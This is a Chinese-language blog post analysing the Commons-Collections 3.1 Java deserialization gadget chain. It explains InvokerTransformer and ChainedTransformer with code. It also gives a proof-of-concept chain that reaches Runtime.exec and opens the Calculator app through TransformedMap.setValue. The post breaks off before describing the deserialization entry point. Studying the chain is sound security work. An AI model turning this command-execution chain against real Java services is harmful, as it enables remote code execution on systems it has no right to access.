• Commons-Collections漏洞


    Commons-collections漏洞

    0x01 POP调用链

    版本:Commons-Collections3.1

    下为Commons-Collections反序列实例代码:

    import org.apache.commons.collections.Transformer; 
    
    import org.apache.commons.collections.functors.InvokerTransformer; 
    
    public class VulTest { 
    
    public static void main(String[] args){ 
    
    Transformer transformer=new InvokerTransformer( 
    
    "append", 
    
    new Class[]{String.class}, 
    
    new Object[]{"exploitcat?"}); 
    
    Object newObject=transformer.transform(new StringBuffer("your name is ")); 
    
    System.out.println(newObject); 
    } 
    } 
    

    输入结果为:your name is exploitcat?

    很明显调用了append方法将两个字符串进行拼接,让我们来分析代码,首先声明了一个transformer的引用,查看Transformer这个类代码为:

    package org.apache.commons.collections; 
    
    public interface Transformer { 
    
    Object transform(Object var1); 
    
    } 
    

    刚开始没看懂=-=,这是定义的一个名为Transformer的接口类,其中声明了一个返回类型为Object的transform函数,接收参数为Object对象。

    InvokerTransformer为Transformer的一个子类,此处新建了一个InvokerTransformer类的实例,以此传入了append、new Class[]{String.class}、new Object[]{"exploitcat?"}三个参数。

    接下来进入InvokerTransformer这个类,发现当接收参数为这三个参数时,构造函数实现的功能为预设这三个参数的值,即:

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 
    
    this.iMethodName = methodName; 
    
    this.iParamTypes = paramTypes; 
    
    this.iArgs = args; 
    
    } 
    
    
    

    Object newObject即新建一个对象引用,而transformer.transform(new StringBuffer("your name is ")),Java中String也是一个类,所以new StringBuffer("your name is ")为一个类对象,transform这个方法为继承父类Transformer的transform方法重写为:

    public Object transform(Object input) { 
    
    if (input == null) { 
    
    return null; 
    
    } else { 
    
    try { 
    
    Class cls = input.getClass(); 
    
    Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 
    
    return method.invoke(input, this.iArgs); 
    
    } catch (NoSuchMethodException var5) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); 
    
    } catch (IllegalAccessException var6) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 
    
    } catch (InvocationTargetException var7) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); 
    
    } 
    
    } 
    
    } 
    
    } 
    

    根据前面获得的三个参数的值,在此处利用反射调用了String类的append方法,将两个字符串进行拼接。

    下为另一处Commons-Collections反序列化漏洞示例代码

    import org.apache.commons.collections.Transformer; 
    
    import org.apache.commons.collections.functors.ChainedTransformer; 
    
    import org.apache.commons.collections.functors.ConstantTransformer; 
    
    import org.apache.commons.collections.functors.InvokerTransformer; 
    
    import org.apache.commons.collections.map.TransformedMap; 
    
    import java.util.HashMap; 
    
    import java.util.Map; 
    
    public class VulChain { 
    
    public static void main(String[] args){ 
    
    Transformer[] transformers=new Transformer[]{ 
    
    new ConstantTransformer(Runtime.class), 
    
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, 
    
    new Object[]{"getRuntime", new Class[0]}), 
    
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, 
    
    new Object[]{null, new Object[0]}), 
    
    new InvokerTransformer("exec", new Class[]{String.class}, 
    
    new Object[]{"open /Applications/Calculator.app"}) 
    
    }; 
    
    Transformer chain=new ChainedTransformer(transformers); 
    
    Map innerMap=new HashMap(); 
    
    innerMap.put("name","hello"); 
    
    Map outerMap= TransformedMap.decorate(innerMap,null,chain); 
    
    Map.Entry elEntry=(Map.Entry) outerMap.entrySet().iterator().next(); 
    
    elEntry.setValue("hello"); 
    
    } 
    
    } 
    

    在VulChain这个类中声明首先声明了一个Transformer类型对象数组transformers,放了ConstantTransformer与InvokerTransFormer两种对象。

    Transformer chain=new ChainedTransformer(transformers);则是传入一个transformers参数新建了一个Transformer类型的引用,进入ChainedTransformer这个类查看构造函数

    public ChainedTransformer(Transformer[] transformers) { 
    
    super(); 
    
    iTransformers = transformers; 
    
    } 
    
    
    

    其主要作用为将transformers赋给自己的属性iTransformers.

    下面的innerMap类型主要是为了后面的decorate方法传参,不用过多在意。

    而Map outerMap= TransformedMap.decorate(innerMap,null,chain);

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { 
    
    return new TransformedMap(map, keyTransformer, valueTransformer); 
    
    } 
    
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { 
    
    super(map); 
    
    this.keyTransformer = keyTransformer; 
    
    this.valueTransformer = valueTransformer; 
    
    } 
    

    decorate方法返回了一个TransformedMap对象,在TransforedMap构造函数将valueTransformer=chain

    elEntry.setValue("hello");中我们查看setValue函数声明,在AbstractInputCheckedMapDecorator这个类中:

    public Object setValue(Object value) { 
    
    value = parent.checkSetValue(value); 
    
    return entry.setValue(value); 
    
    } 
    
    
    

    而checkSetValue在TransformerMap中:

    protected Object checkSetValue(Object value) { 
    
    return valueTransformer.transform(value); 
    
    } 
    
    
    

    而ChainedTransformer中transform方法为:

    public Object transform(Object object) { 
    
    for (int i = 0; i < iTransformers.length; i++) { 
    
    object = iTransformers[i].transform(object); 
    
    } 
    
    return object; 
    
    } 
    
    
    

    InvokerTransformer中transform方法为:

    public Object transform(Object input) { 
    
    if (input == null) { 
    
    return null; 
    
    } 
    
    try { 
    
    Class cls = input.getClass(); 
    
    Method method = cls.getMethod(iMethodName, iParamTypes); 
    
    return method.invoke(input, iArgs); 
    
    } catch (NoSuchMethodException ex) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); 
    
    } catch (IllegalAccessException ex) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 
    
    } catch (InvocationTargetException ex) { 
    
    throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); 
    
    } 
    
    } 
    
    } 
    
    
    

    在for循环中i、iTransformers[i]、object值分别为:

    i iTransformers[i] Object
    0 ConstantTransformer(Runtime.class) "hello"
    1 InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}) Runtime.class
    2 InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}) Runtime.class.getRuntime
    3 InvokerTransformer("exec", new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"}) Runtime.class.getRuntime.invoke(null,null)

    最终构成调用链:Runtime.class.getRuntime.invoke(null,null).exec('open /Applications/Calculator.app')

    0x02反序列化利用

    上面找到了POP利用链,现在我们只需要一个反序列化利用点,就可以构造好的Payload利用出去。

  • 相关阅读:
    For each···in / For···in / For···of
    JavaScript object
    specific word count (index of )
    history of program
    js的回调函数
    promise
    js的事件流事件机制
    js的closures(闭包)
    baidu-map
    基于封装优点的类设计习惯
  • 原文地址:https://www.cnblogs.com/vincebye/p/10439205.html
Copyright © 2020-2023  润新知